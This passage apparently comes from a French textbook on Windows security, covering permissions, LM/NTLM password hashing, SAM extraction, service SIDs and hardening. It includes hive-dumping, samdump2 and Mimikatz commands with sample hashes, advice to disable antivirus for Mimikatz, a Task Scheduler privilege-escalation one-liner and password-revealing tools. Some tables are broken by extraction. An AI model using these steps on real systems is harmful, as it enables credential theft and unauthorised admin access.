2. Gestion des groupes

Un groupe est une entité qui rassemble des utilisateurs, à laquelle des permissions peuvent être
attribuées. Au lieu d’affecter les permissions utilisateur par utilisateur, les droits sont donnés à un
groupe, et les utilisateurs concernés sont affectés à ce groupe.

Affecter les permissions utilisateur par utilisateur est rébarbatif et est sujet aux erreurs. En effet,
dans le cas de suppressions d’accès à des utilisateurs, il ne faut pas en oublier une, sinon la sécurité
serait compromise. Les groupes permettent d’éviter ce genre d’erreurs.

La gestion des groupes s’effectue de la même manière que les utilisateurs, via la console de gestion
ou en ligne de commande.

3. Affectation des permissions

Restrict
ed
Une permission est une autorisation attribuée à un utilisateur ou à un groupe sur une ressource
(fichier, répertoire, périphérique). Elles sont différentes sous GNU/Linux, Windows et macOS X. Elles
sont par défaut plus fines sous Windows et macOS X que sous GNU/Linux. Sous GNU/Linux, il s’agit
de lire, écrire et exécuter (fichier)/parcourir (dossier) pour un utilisateur propriétaire, un groupe et
les autres utilisateurs. Sous Windows et macOS X, il est possible d’attribuer ces droits à autant
d’utilisateurs et de groupes que souhaité.

Si vous ne faites pas partie d’un domaine Windows, il faut tout d’abord désactiver l’assistant de
partage des fichiers afin d’obtenir l’onglet Sécurité dans les propriétés des fichiers et des dossiers.

Lancez l’explorateur Windows.

Sélectionnez l’onglet Affichage et cliquez sur Options - Modifier les options des dossiers et de
recherche.

Dans la boîte de dialogue Options des dossiers, sélectionnez l’onglet Affichage et décochez Utiliser
l’Assistant Partage.

Sous Windows, les opérations lancées sur les fichiers et répertoires dépendent des choix opérés dans
ces options des dossiers de recherche. Par exemple, si vous laissez les paramètres par défaut et que
vous lancez manuellement un scan avec un antivirus ou une copie, seuls les fichiers et répertoires
visibles seront affectés ! Aussi il est fortement recommandé de :

 sélectionner Afficher les fichiers, dossiers et lecteurs cachés ;

 décocher Masquer les extensions des fichiers dont le type est connu ;

 décocher Masquer les fichiers protégés du système d’exploitation.

Les permissions de Windows sont basées sur les ACL (Access Control List), disponibles également
sous GNU/Linux mais peu utilisées. Les ACL ont l’avantage de pouvoir gérer les permissions pour
plusieurs groupes et utilisateurs sur le même objet. Dans la partie haute de l’onglet Sécurité, il suffit
d’ajouter un groupe ou un utilisateur, puis dans la partie basse de régler ses permissions.

Permissions d’un répertoire sous Windows

4. Les mots de passe

Restrict
ed
Si l’attaquant possède déjà un accès sur la machine, il peut tenter de récupérer le mot de passe
stocké sur le système. L’attaque n’a alors pas lieu durant la phase d’authentification.

Le mot de passe peut être stocké à différents endroits, en clair, chiffré ou haché : directement dans
le programme d’authentification, dans un fichier ou dans une base de données. Un mot de passe est
stocké en clair lorsqu’il est directement lisible. Il est chiffré lorsqu’il a subi certaines transformations
pour être stocké sans être lisible. Les opérations inverses seront alors effectuées pour récupérer et
vérifier le mot de passe. Enfin, un mot de passe est dit haché lorsque des opérations irréversibles ont
été effectuées pour le stocker. À la vérification, ces mêmes opérations seront appliquées à la saisie
de l’utilisateur. Le résultat (le condensat) sera alors comparé à ce qui est stocké. L’égalité garantit
que le mot de passe saisi est le bon. Avec le hachage, la sécurité repose sur le fait que les
transformations irréversibles ne donnent généralement pas deux résultats identiques pour deux
mots de passe différents. Si c’est le cas, on parle de collision.

Le hachage est la méthode la plus couramment utilisée, car elle ne permet pas de retrouver le mot
de passe à partir de l’information sauvegardée. Mais un autre problème se pose : l’utilisation d’un
même mot de passe par deux utilisateurs fournira le même hachage. Un procédé
appelé salage ajoute une séquence de bits non liée directement au mot de passe (par exemple un
mot généré aléatoirement) avant le hachage. Cela permet d’éviter d’avoir des hachages identiques
pour des mots de passe identiques. Cette séquence de bit doit donc être lisible directement ou
prédictible. L’absence de salage permet l’utilisation de rainbow tables.

a. Changer son mot de passe en ligne de commande

Pour changer le mot de passe de l’utilisateur laurent avec @R3S34u*, ouvrez une ligne de
commandes, et tapez :

net user laurent @R3S34u*

Définition du mot de passe en CLI sous Windows

Attention, il faut initier la ligne de commande en tant qu’administrateur !

b. Stockage des mots de passe dans un groupe de travail

Dans les systèmes de la famille NT, les machines en groupe de travail stockent les mots de passe dans
la SAM (Security Account Manager). Cette dernière est localisée dans le fichier $windir$\system32\
config\sam ($windir$ = répertoire de Windows).

Microsoft Windows n’emploie pas de salage dans la gestion de ses mots de passe. Cependant, les
empreintes ne sont pas enregistrées telles quelles dans la SAM mais obscurcies par du chiffrement
ou du hachage suivant les versions. Le numéro d’identification de l’utilisateur, qui est unique, est
notamment pris en compte pour empêcher que deux personnes ayant le même mot de passe aient la
même entrée dans le fichier.

L’outil psexec de la suite sysinternals (https://docs.microsoft.com/en-us/sysinternals/downloads/)


permet de visualiser la SAM via la commande suivante exécutée depuis une console CMD (en tant
qu’administrateur) :

Restrict
ed
psexec.exe -i -s regedit

Visualisation de la SAM avec l’outil psexec

Les données sont chiffrées mais les informations nécessaires au déchiffrement sont également dans
la base de registre. Il existe également une copie sur le disque local C:\Windows\System32\SAM.

Il est possible de déplacer sur média amovible la clé de chiffrement avec l’utilitaire syskey fourni par
Microsoft. La contrainte est de toujours avoir celle-ci pour démarrer le PC. Attention, il faut
renommer la clé USB en lecteur A: car le programme d’export de la syskey ne permet d’enregistrer
que sur disquette (A: par définition).

Pour exporter la base de données des utilisateurs (SAM) dans le fichier sam.save :

reg.exe save hklm\sam sam.save

Pour exporter les informations de chiffrement dans le fichier system.save :

reg.exe save hklm\system system.save

Windows Password Recovery Bootdisk (http://www.rixler.com/windows-password-recovery-


bootdisk.htm) est un utilitaire de récupération de hashs depuis un disque bootable.

c. Stockage des mots de passe dans un domaine

L’objectif d’un domaine est de centraliser les données importantes, y compris la définition des
utilisateurs et des mots de passe. Les utilisateurs du domaine sont stockés dans une base de données
présente dans les contrôleurs de domaine nommée NTDS.DIT. Ce fichier est situé dans le répertoire
%SystemRoot%\NTDS.

Toutes les autres machines du domaine peuvent authentifier un utilisateur en interrogeant leur base
de données locale (SAM) respective ou en contactant un contrôleur du domaine.

d. Extraction des données d’une SAM

Des outils comme Mimikatz (https://github.com/gentilkiwi/mimikatz),


Secretsdump.py (https://github.com/SecureAuthCorp/impacket) et samdump2 sont capables de
déchiffrer la SAM pour les versions de Windows 10 antérieures à la version "Anniversary Update"
(version 1607 ou 1703) :

Restrict
ed
$ samdump2 system.save sam.save > hashs.txt
$ cat hashs.txt
Laurent:1001:AAD3B435B51404EEAAD3B435B51404EE:
4CCDB7041204D5488C04637BF6ADFF08:::
user:1000:AAD3B435B51404EEAAD3B435B51404EE:
57D583AA46D571502AAD4BB7AEA09C70:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:
31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:
0934193FBA69A5BC6A1C57A216F689C1:::

Le deux-points (:) est utilisé comme séparateur et quatre utilisateurs sont actifs :
Administrateur (ID=500), Guest (ID=501), user (ID=1000) et laurent (ID=1001). Les valeurs qui suivent
l’ID sont les mots de passe hachés. Suivant la version de Windows, il est possible de retrouver les
condensats des mots de passe sous trois formats différents. En effet, plusieurs algorithmes ont été
utilisés par Microsoft pour la base de données des comptes utilisateurs locaux sur les systèmes
Windows.

Avec Windows "Anniversary Update", plusieurs mécanismes de sécurité ont été ajoutés :

 La fonctionnalité Credential
Guard (https://docs.microsoft.com/fr-fr/archive/blogs/ash/windows-10-device-guard-and-
credential-guard-demystified) utilise la sécurité basée sur la virtualisation pour isoler les
secrets afin que seuls les logiciels privilégiés puissent y accéder. Les informations
d’identification dérivées de Windows NTLM et Kerberos et d’autres secrets sont exécutées
dans un environnement protégé, isolé du système d’exploitation en cours d’exécution.
Toutefois, les prérequis sont nécessaires :

 Le mode UEFI natif doit être activé.

 Windows 64 bits uniquement.

 SLAT (Second Layer Address Translation) et les extensions de virtualisation doivent être
activées (Intel VT ou AMD V).

Les informations permettant la mise en place de la sécurité basée sur la virtualisation sont
disponibles à l’adresse suivante : https://docs.microsoft.com/en-us/windows/security/threat-
protection/device-guard/enable-virtualization-based-protection-of-code-integrity#enable-hvci-using-
group-policy

 Microsoft a également ajouté les protections Windows Defender Credential Guard à


distance et Mode administrateur restreint, dont les fonctionnalités sont résumées dans le
tableau ci-dessous :

Restrict
ed
Windows Defender
Mode administrateur
Fonctionnalité Bureau à distance Credential Guard à
restreint
distance

Avantages en Pas de protection Les informations L’utilisateur se connecte


matière de contre les attaques d’identification de au serveur en tant Le lien
protection pass-the-hash l’utilisateur restent sur qu’administrateur local, suivant
le client. Un attaquant de sorte qu’une fournit
ne peut agir pour le personne malveillante des
compte de l’utilisateur ne peut pas agir pour le
que lorsque la session compte de l’utilisateur
est en cours de domaine. Toute
attaque est locale sur le
serveur

Prise en charge L’ordinateur distant Le client et l’ordinateur L’ordinateur distant doit


des versions peut exécuter distant doivent tous au moins être en cours
n’importe quel système deux utiliser au moins d’exécution de
d’exploitation Windows Windows 10 version Windows 7 ou de
1607 ou Windows Windows Server 2008
Server 2016 R2 corrigé

Permet N/A  Pass-the-hash  Pass-the-hash


d’empêcher
 Utilisation  Utilisation de
d’une l’identité de
information domaine
d’identification pendant la
après connexion
déconnexion

Informations  Informations  Informations  Informations


d’identification d’identification d’identification d’identification
prises en charge de connexion uniquement de connexion
à partir de
 Informations  Informations
l’appareil client
d’identification d’identification
Bureau à
fournies fournies
distance
 Informations  Informations
d’identification d’identification
enregistrées enregistrées

Accès Membres du groupe Membres du groupe Membres du groupe


Utilisateurs du Bureau Utilisateurs du Bureau à Administrateurs de
à distance de l’hôte distance de l’hôte l’hôte distant
distant distant

Identité réseau La session Bureau à La session Bureau à La session Bureau à


distance se connecte à distance se connecte à distance se connecte à
d’autres ressources en d’autres ressources en d’autres ressources en
tant qu’utilisateur tant qu’utilisateur tant qu’identité de
connecté connecté l’hôte distant

Multi-saut À partir du Bureau à À partir du Bureau à Non autorisé pour


distance, il est possible distance, il est possible l’utilisateur, car la
de se connecter par le de se connecter par le session s’exécute en
biais du Bureau à biais du Bureau à tant que compte d’hôte
distance à un autre Restrict
distance à un autre local
ordinateur ed
ordinateur
informations complémentaires : https://docs.microsoft.com/en-us/windows/security/identity-
protection/remote-credential-guard

Mimikatz (https://github.com/gentilkiwi/mimikatz/releases) semble encore fonctionner. Attention,


ce dernier est considéré par les antivirus comme une menace. Il faut donc désactiver l’antivirus pour
l’installer.

L’instruction log permet de spécifier le journal d’événements. Et la commande lsadump permet


d’exporter les comptes utilisateurs et leurs mots de passe (SAM) ainsi que les informations de
chiffrement de la base de données contenues dans la ruche système.

Exécutez ensuite Mimikatz et, dans la console, tapez les commandes suivantes :
mimikatz # log hash.txt
Using 'hash.txt' for logfile : OK

mimikatz # lsadump::sam /system:c:\dump\System.save /sam:c:\dump\Sam.save


Domain : DESKTOP-H1JLS00
Local SID : S-1-5-21-935550778-2638834797-3102388742
...
* Primary:Kerberos *
Default Salt : DESKTOP-8QIKB78WDAGUtilityAccount
Credentials
des_cbc_md5 : ec0d92b09132e698

RID : 000003e9 (1001)


User : admin
Hash NTLM: e5df2c988f0d77ef35aa949be5dc95b5

RID : 000003eb (1003)


User : user
Hash NTLM: eacb2c6a3aaa4ed476ed2741be8c7a4e
...

Il faut ensuite constituer manuellement le fichier hashs.txt :

user:1001::eacb2c6a3aaa4ed476ed2741be8c7a4e:::

Les champs sont les suivants :

 user : le nom de l’utilisateur.

 1001: le userID.

 <> : pas de hash LM.

 eacb2c6a3aaa4ed476ed2741be8c7a4e : le hash NTLM.

e. Chiffrement LM (LAN Manager)

LM (LAN Manager) est le plus ancien stockage de mots de passe utilisé par Windows, datant des
années 1980.

Voici les étapes réalisées par son algorithme :

Restrict
ed
 Le mot de passe est converti en majuscules.

 Le mot de passe dont la longueur est inférieure à 14 caractères est complété par des NULL.

 Le mot de passe est coupé en deux éléments de 7 caractères.

 Chaque élément est chiffré séparément avec l’algorithme DES (la clé de chiffrement est :
"KGS!@#$%").

 Les deux hachages concaténés forment le hash LM.

En raison du jeu de caractères limité et de son algorithme de chiffrement DES, LM est assez facile à
craquer. LM a été désactivé par défaut à partir de Windows Vista/Server 2008, mais il peut persister
dans un réseau pour des raisons de rétrocompatibilité. Il est possible de l’activer dans les versions
ultérieures via un paramètre GPO (même sous Windows Server 2016/Windows 10). L’utilisation du
terme "hash" pour LM est abusive car l’algorithme utilisé est DES, un algorithme de chiffrement
symétrique.

Dans l’exemple suivant :

Laurent:1001:AAD3B435B51404EEAAD3B435B51404EE:

4CCDB7041204D5488C04637BF6ADFF08:::

le LM hash (hachage LAN Manager) est AAD3B435B51404EEAAD3B435B51404EE.

0pthtcrack via les rainbow tables peut craquer un hash LAN Manager ou NTLM V1 en quelques
secondes !

f. Chiffrement NTLM (NT hash) NTLMv1

NTLM (NT hash) réalise les opérations suivantes :

 Le mot de passe est converti en UTF-16-LE (little endian UTF-16).

 Le résultat est ensuite haché avec MD4 :

 MD4(UTF-16-LE(mot de passe))

L’utilisation d’un algorithme de hachage en lieu et place d’un algorithme de chiffrement garantit la
non-réversibilité du processus.

NTLMv1 (NT LAN Manager version 1) est déprécié mais peut encore être utilisé par des services
d’impression. Le mot de passe est sensible à la casse et utilise un chiffrement sur 128 bits.

Son mécanisme est le suivant :

 Le serveur authentifie le client en envoyant un nombre aléatoire de 8 octets appelé défi (C :


challenge).

 Le client ajoute au mot de passe de l’utilisateur au format NTLM (16 octets) cinq octets de
zéro :

 MD4(UTF-16-LE(password)) + 5 * 00000000.

 Les 21 octets obtenus par type de chiffrement sont ensuite découpés en trois clés (K1, K2 et
K3) de 56 bits (7*8=56). Le client chiffre ensuite le défi (C) avec l’algorithme DES et les clés
obtenues (K1, K2 et K3) :

Restrict
ed
 K1 = 1er tiers de NT-Hash + 5 octets de zéro.

 K2 = 2ème tiers de NT-Hash + 5 octets de zéro.

 K3 = 3ème tiers de NT-Hash + 5 octets de zéro.

 La réponse, composée du défi chiffré avec les trois clés, est envoyée au serveur :

 Réponse = DES(K1,C) + DES(K2,C) + DES(K3,C)

 Le serveur utilisant ses données internes réalise le même processus et vérifie


l’authenticité du client.

NTLM ne dispose pas de salage.

Dans l’exemple du point précédent, le hachage NTLMv1 ou NTLMv2 est :


4CCDB7041204D5488C04637BF6ADFF08.

g. Chiffrement NTLM (NT hash) NTLMv2

NTLMv2 (NT LAN Manager version 2) est la version actuelle. Son mécanisme apporte un
renforcement cryptographique et la possibilité pour un serveur de s’authentifier auprès du client :

 Le serveur authentifie le client en envoyant un nombre aléatoire de 8 octets appelé défi (SC :
challenge serveur).

 Le client génère deux nombres aléatoires de 8 octets : CC (challenge client) et CC2.

 Le client calcule CC* en fonction entre autres de l’heure et d’un nouveau défi client afin de
contrer les attaques par rejeu :

 CC *= (nombre aléatoire, heure, CC2, nom de la machine ou du domaine).

 Le client envoie une première réponse en chiffrant à l’aide de HMAC_MD5 la chaîne


composée par le nom du compte et le nom de l’hôte ou du domaine et en utilisant comme
clé le hachage MD4 du hachage NT.

 v2-Hash = HMAC-MD5(NT-Hash, nom du compte, nom du domaine)

 LMv2 = HMAC-MD5(v2-Hash, SC, CC)

 Ensuite, le résultat sera utilisé comme clé pour chiffrer à l’aide de HMAC_MD5 le défi. À cela,
un défi client de 8 octets sera ajouté pour un total de 24 octets :

 NTv2 = HMAC-MD5(v2-Hash, SC, CC*)

 La réponse du client sera donc :

 Réponse = LMv2 + CC + NTv2 + CC*

NTLMv2 ajoute un sel uniquement lors de l’envoi de message, avec une valeur aléatoirement
différente à chaque fois. Par contre, le condensat est stocké dans la SAM sans salage !

h. Choix du niveau d’authentification

Le chiffrement utilisé par Windows dépend notamment de la version du système et de son rôle
(client/serveur). Attention : par défaut, toutes les machines Windows ont leurs services "station de
travail" et "serveur" activés.

Restrict
ed
Le tableau ci-dessous reprend les différentes possibilités :

LmCompatibilityLevel Envoi (client) Réception (serveur) Par


défaut,
LM NTLM LM NTLM pour les
versions
Niveau 0 (XP) X V1 X V1

Niveau 1 X V1-2 X V1-V2

Niveau 2 (Win 2003) - V1-2 X V1-2

Niveau 3 (Win Vista, 7, 2008, 2008 R2) - V2 X V1-2

Niveau 4 - V1-2 - V1-2

Niveau 5 - V2 - V2

antérieures à Windows 7 SP1, les empreintes LM et NTLMv1 ou NTLMv2 sont enregistrées dans la
SAM.

Attention : si un mot de passe est sauvegardé au format LM et au format NTLMv1 ou NTLMv2. Il suffit
de casser le chiffrement LM pour retrouver le mot de passe.

Il faut donc demander à Windows de ne plus stocker les mots de passe au format LM !

Avant de réaliser les opérations ci-dessous, remplacez momentanément votre mot de passe par un
mot de passe temporaire afin de remplacer les deux hashs actuels. En effet, le fait de désactiver le
stockage du condensat LM n’efface pas le condensat existant.

Via les stratégies de groupe :

Développez Configuration Ordinateur, Paramètres Windows, Paramètres de sécurité, Stratégies


locales, puis cliquez sur Options de sécurité.

Dans la liste des stratégies disponibles, double cliquez sur Sécurité réseau : Ne pas stocker de
valeurs de hachage de niveau LAN Manager sur la prochaine modification de mot de passe.
L’option est enfin activée par défaut depuis Windows 7 SP1.

Cliquez sur Activé, puis sur OK.

Restrict
ed
-

Politique de sécurité locale concernant le stockage des hashs

Ou via la base de registre :

 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa.

 Dans le menu Édition, cliquez sur Ajouter une clé, tapez NoLMHash, puis appuyez sur
[Entrée].

Quittez l’Éditeur du Registre.

Redémarrez l’ordinateur, puis modifiez votre mot de passe afin d’activer le paramètre.

Idéalement, il faudrait travailler au niveau 5 (uniquement NTLMv2) du côté des postes de travail et
des serveurs. Naturellement, les réalités du terrain et le maintien d’anciennes applications imposent
parfois de diminuer le niveau de compatibilité.

Pour modifier ce niveau de compatibilité, il faut modifier la clé de registre (type DWORD) suivante :

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel et modifier la valeur en


fonction du niveau. Comme il s’agit d’une clé "Local Machine", il faut redémarrer la machine pour
rendre la modification effective.

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v

lmcompatibilitylevel /t REG_DWORD /d 5 /f

Il est également possible de le faire via l’interface graphique en exécutant la


commande secpol.msc et en naviguant dans les menus Stratégies locales - Options de sécurité -
Sécurité réseau : Niveau d’authentification LAN Manager.

Restrict
ed
Niveau d’authentification de LAN Manager

5. Élévation des privilèges

L’utilisation normale d’une machine ne devrait jamais se faire en tant qu’administrateur, mais en
utilisant un compte utilisateur normal. En effet, cela limite les dégâts lorsqu’une attaque réussit.
C’est aussi valable pour les services (Windows) ou les démons (Unix), puisqu’un service réseau
vulnérable, fonctionnant en root, et qui aurait été corrompu constitue alors une catastrophe,
l’attaquant obtenant dès lors les pleins pouvoirs à distance.

Cependant, certaines tâches nécessitent des privilèges particuliers. Par exemple, l’installation d’un
logiciel ne peut se faire qu’en tant qu’administrateur. Des mécanismes permettent d’exécuter
directement un programme sous une autre identité, sans devoir se déconnecter de sa session et se
connecter sous une autre.

Pour exécuter un processus sous une autre identité, il suffit de maintenir la touche [Shift] enfoncée
ou faire un clic droit sur l’exécutable, de sélectionner Exécuter en tant que et de s’identifier avec
l’identité appropriée.

Un grand nombre de failles de sécurité peuvent être évitées si les comptes exécutant les applications
disposent des droits minimums sur le système d’exploitation pour fonctionner, c’est le principe
de moindre privilège.

Depuis Windows Vista, l’utilisateur par défaut est un utilisateur normal dénué des droits
d’administration.

De plus, certaines actions comme changer de fuseau horaire ou configurer un réseau sans fil ne
nécessitent plus les droits d’administration et les permissions sur la base des registres ont été
modifiées.

Restrict
ed
Groupe de refus sous Windows Vista et supérieur

Au lieu d’utiliser des noms (qui ne sont pas uniques), le système d’exploitation Windows utilise des
SID (Security Identifiers) pour identifier les entités effectuant des actions.

Les SID sont des identifiants uniques alphanumériques : SID = S1-N1-N2-N3-ID.

 S1 : groupe auquel appartient l’objet.

 N1-N2-N3 : identifiant du "domaine".

 ID : identifiant unique de l’objet.

Pour visualiser les SID, il est possible d’utiliser PSGetSid de Mark Russinovich. Toute la "Sysinternals
Suite" est d’ailleurs très utile pour les administrateurs Windows.

Exemple de SID machine sous Windows

Exemple de SID utilisateur sous Windows

Chaque système/domaine possède un administrateur.

 Un compte administrateur ne peut être bloqué ou supprimé mais peut être renommé.

 Le compte administrateur fait partie du groupe administrateurs et ne peut en être enlevé.

Restrict
ed
 Le SID administrateur se terminant toujours par 500, le renommer à des fins sécuritaires est
donc sujet à discussion.

SID administrateur sous Windows

En Windows 7, les services peuvent s’exécuter avec trois comptes de sécurité machine différents :

 Système local = NT_AUTHORITY\SYSTEM : représente l’OS (privilèges machine les plus


élevés).

 Service réseau : représente la partie réseau de l’OS (privilèges machine moindres et ACL plus
restrictives).

 Service local : représente la partie locale de l’OS avec des droits similaires à ceux d’un
utilisateur standard mais ne peut pas s’authentifier sur le réseau.

Les services sous Windows

Avec Windows 7 et supérieur, chaque service possède maintenant un SID unique.

Les SID de service sont des SID secondaires ajoutés au jeton du service par le Service Control
Manager lors du démarrage dudit service, le SID primaire étant l’identité intégrée (LocalService,
NetworkService, ou LocalSystem) sous laquelle le service fonctionne.

sc showsid rpcss
NOM : rpcss
SID DE SERVICE : S-1-5-80-979556362-403687129-3954533659-2335141334-1547273080
sc showsid mpsvc
NOM : mpsvc
SID DE SERVICE : S-1-5-80-2930424739-3846023914-341264137-1767074886-550187892

Restrict
ed
Lors de l’accès à une ressource, le système vérifie si le jeton présenté possède un SID restreint.

Si c’est le cas :

 le compte est explicitement autorisé : accès suivant cette autorisation ;

 le compte n’est pas mentionné : l’accès en lecture seule est octroyé.

sc qsidtype mpssvc
[SC] QueryServiceConfig2 réussite(s)
SERVICE_NAME: mpssvc
SERVICE_SID_TYPE: RESTRICTED

Le pare-feu de Windows est de type restreint : il a donc un accès en lecture seule sur le système de
fichiers par défaut.

sc qsidtype mpssvc
[SC] QueryServiceConfig2 réussite(s)
SERVICE_NAME: mpssvc
SERVICE_SID_TYPE: RESTRICTED
C:\Windows\system32>icacls c:\Windows\System32\LogFiles\Firewall
c:\Windows\System32\LogFiles\Firewall NT SERVICE\MpsSvc:(OI)(F)
AUTORITE NT\Système:(OI)(F)
BUILTIN\Administrateurs:(OI)(F)

Mais il possède un droit complet sur son fichier de log.


sc qsidtype rpcss
[SC] QueryServiceConfig2 réussite(s)
SERVICE_NAME: rpcss
SERVICE_SID_TYPE: UNRESTRICTED

RPC est de type non restreint : il a donc un accès complet sur le système de fichiers par défaut. Cela
explique pourquoi RPC est souvent attaqué par les hackeurs.

Pour changer de type :

sc sidtype <nom> [restricted | unrestricted | none]


None (0x0) : le service n’a pas de SID par service (configuration par défaut).

Unrestricted (0x1) : le service a un SID par service.

Restricted (0x3) : le service a un SID par service et un jeton d’accès limité (write-restricted token).

Les comptes de services gérés (Managed Service Accounts ou MSA) sont des comptes
domaine (niveau fonctionnel 2008 R2) utilisés pour lancer des services ou des logiciels (pas GUI)
dont les mots de passe se renouvellent automatiquement (120 caractères /30 jours). Il n’est plus
nécessaire d’avoir à définir un compte avec un mot de passe qui n’expire jamais.
Malheureusement, les comptes MSA ne fonctionnent pas avec tous les services (erreur 1297).

Un compte MSA ne peut être utilisé que sur un seul ordinateur à la fois (mais il peut lancer plusieurs
services sur ce même ordinateur).

Restrict
ed
Malheureusement les comptes MSA fonctionnent avec un nombre limité de service comme IIS et
Exchange.

6. Le Planificateur de tâches

Cet outil bien pratique pour programmer à l’avance des tâches uniques ou répétitives peut servir de
porte dérobée en cas d’erreur de programmation ou de configuration.

Certaines tâches nécessitent les droits de l’administrateur pour s’exécuter correctement. Le


Planificateur de tâches doit donc être en mesure de les attribuer, et ce sans intervention de
l’utilisateur.

Un attaquant qui arrive donc à installer une tâche possédant les droits d’administration peut faire ce
qu’il souhaite sur votre machine ; par exemple, en éditant directement le fichier des tâches.

Sur Microsoft Windows 7 ou Server 2008, un exploit de ce type est disponible : http://www.exploit-
db.com/exploits/15589/

Le Planificateur de tâches peut également être utilisé pour lancer des virus, chevaux de Troie et
autres espions. L’attaquant ajoute une tâche récurrente au démarrage, pour le compte de
l’utilisateur qu’il souhaite piéger.

Sur Microsoft Windows 2000, XP et 2003, il fut possible sur certaines versions de lancer un shell en
administrateur à partir d’un compte utilisateur normal. Il suffisait de lancer un shell non privilégié et
de programmer une tâche qui le lance à nouveau à une heure précise, la minute suivante par
exemple :

At 14:00 /interactive "cmd.exe"


Pour vous protéger, vous pouvez tout simplement désactiver le Planificateur de tâches, si vous n’en
avez pas l’utilité. Malheureusement, votre système en a souvent plus besoin que vous, notamment
pour des opérations de sauvegarde et de scan d’antivirus. Votre vigilance et le maintien à jour de
votre système restent vos meilleurs alliés.

7. Espionner des processus sous Windows

Microsoft met à disposition de petits outils qui permettent d’espionner l’activité des processus. Ils
sont disponibles sur la page : http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx

Process Monitor permet d’analyser l’activité des fichiers et du registre de Windows. Il suffit de
l’exécuter pour découvrir que, même au repos, un ordinateur travaille un minimum.

À l’aide de filtres, il est possible de se concentrer sur un processus particulier.

Utilisation de Process Monitor sous Windows

Ces outils sont puissants, car ils permettent de disséquer les opérations d’entrée-sortie des
processus, à la recherche d’actions suspectes ou de débogage de sécurité.

8. Les appels de procédures distantes

Restrict
ed
Les attaques RPC étant liées à des défauts de conceptions, seules les mises à jour
système permettent de réduire la surface d’attaque. Actuellement Windows tente de remplacer RPC
par WinRM.

Les appels de procédures distantes ou RPC (Remote Procedure Call) permettent d’exécuter des
procédures à distance avec un serveur d’applications. Ils permettent notamment aux applications
l’employant de ne pas se soucier de l’implémentation du transfert en réseau, ce système s’en charge.

Sous Windows, ses nombreuses failles ont fait couler beaucoup d’encre. En août 2003, le ver Blaster
paralysa des milliers de machines par une attaque de déni de service. Le 30 avril 2004, c’était le ver
Sasser : un ordinateur infecté téléchargeait un programme qu’il exécutait automatiquement à l’insu
de l’utilisateur. Ce programme se propageait ensuite par les réseaux accessibles par la machine, puis
la redémarrait sans cesse.

Ceci aurait pu être évité si les pare-feu des machines étaient, par défaut, correctement configurés et
la gestion des utilisateurs mieux faite : Windows XP forçait la mise en place d’un mot de passe pour le
compte Administrateur à l’installation, et ne faisait pas tourner ses services sous cette identité.

Retenons qu’il ne faut laisser en fonctionnement sur une machine que le strict minimum, avec des
privilèges adéquats.

9. L’accès au registre à distance

Microsoft Windows permet aux programmes distants d’accéder et de modifier le registre via les
appels de procédures distantes. Ceci est très dangereux et n’a pas de réelle utilité dans une
utilisation normale de son ordinateur. Il est donc préférable de désactiver le service associé dans la
gestion des services.

Pour désactiver l’accès distant au registre :

 appuyez sur les touches [Windows] et R en même temps ;

 dans l’invité saisissez services.msc et pressez [Enter] ;

 recherchez dans la liste Registre à distance et double cliquez dessus ;

 configurez le type de démarrage en Désactiver ;

 redémarrez le PC pour prendre en compte les changements.

10. Les logs

La sécurité d’un système ne doit pas s’arrêter à la mise en application des divers conseils déjà
étudiés. Elle s’effectue tous les jours, par la vérification de la santé du système, afin d’agir dès les
premiers signes annonciateurs d’une faiblesse, surtout en environnement de production.

Les logs sont les fichiers journaux des différents services s’exécutant sur le système. Ils sont très
utiles pour régler des problèmes lorsqu’un service refuse de se lancer, mais aussi pour constater les
attaques comme un grand nombre d’essais infructueux pour se connecter en tant qu’administrateur.

Sous Windows, ils se trouvent dans l’Observateur d’événements, situé dans les Outils
d’administration ou dans le gestionnaire de l’ordinateur, et sont classés par catégories et par niveaux
d’importance.

Restrict
ed
Les journaux d’événements sous Windows

Un attaquant cherchera toujours à effacer ses traces. Des fichiers vides doivent donc vous sembler
suspects.

11. Les mises à jour

Mettre à jour son système est indispensable. Le laps de temps entre la révélation d’une faille de
sécurité, la publication du correctif et son application est un moment critique. Il est donc sage de
s’abonner aux listes de diffusion concernant la sécurité des logiciels utilisés. Vous serez alors
informés sur les failles présentes et leurs correctifs. Et si le correctif n’est pas disponible
immédiatement, avec le descriptif de la faille, vous pourrez prendre les mesures de protection
temporaires adéquates. Les mises à jour automatiques permettent d’écourter le délai entre la
publication et l’application des correctifs, par l’automatisation du processus, surtout sur un parc
informatique. Il faut cependant veiller à ce que l’application des correctifs se soit effectuée
correctement, car automatisation n’est pas synonyme de sécurité.

12. Cas pratiques

a. Révéler un mot de passe mémorisé par une application

Certaines applications proposent de retenir des mots de passe afin de préremplir les champs à
l’avenir. Même si le mot de passe est masqué par des étoiles ou des points, il peut parfois être
récupéré par des outils comme
BulletsPassView : http://www.nirsoft.net/utils/bullets_password_view.html

Restrict
ed
Utilisation de BulletsPassView

Il suffit de lancer le programme dont il faut récupérer le mot de passe, puis d’exécuter
BulletsPassView pour voir apparaître le mot de passe en clair dans la fenêtre de ce dernier.

Heureusement, l’application ne fonctionne pas avec les programmes qui ne sauvegardent pas (ou
plus) le mot de passe derrière les étoiles ou les points :

 Chrome, Firefox et Opera.

 Accès à distance et VPN de Windows Vista, 7 et 8.

Le site de NirSoft (https://www.nirsoft.net) propose en libre téléchargement une


collection d’utilitaires utilisable en forensic après une élévation de privilèges sur Windows comme
ceux à suivre.

Asterisk Logger

C’est un petit utilitaire qui, comme son nom l’indique, permet de révéler les étoiles qui apparaissent
dans la boîte de saisie de mot de passe quand celui-ci a été enregistré par l’application. Cet utilitaire
fonctionne uniquement sous Windows XP.

BulletsPassView

Dans le même genre, BulletsPassView est le successeur de Asterisk Logger. Il fonctionne avec
davantage d’applications et supporte les OS supérieurs à Windows XP, tels que Windows 7, Vista ou
2008 en versions 32 et 64 bits.

ChromePass

Comme son nom l’indique, ChromePass autorise à visualiser les logins et mots de passe stockés par
Google Chrome et à exporter ceux-ci.

Dialupass

Cette application énumère toutes les entrées dialup/VPN sur l’ordinateur et affiche les détails de
début de transaction comme le login, le mot de passe et le domaine.

Il peut enregistrer ces renseignements dans un fichier XML ou dans le presse-papiers.

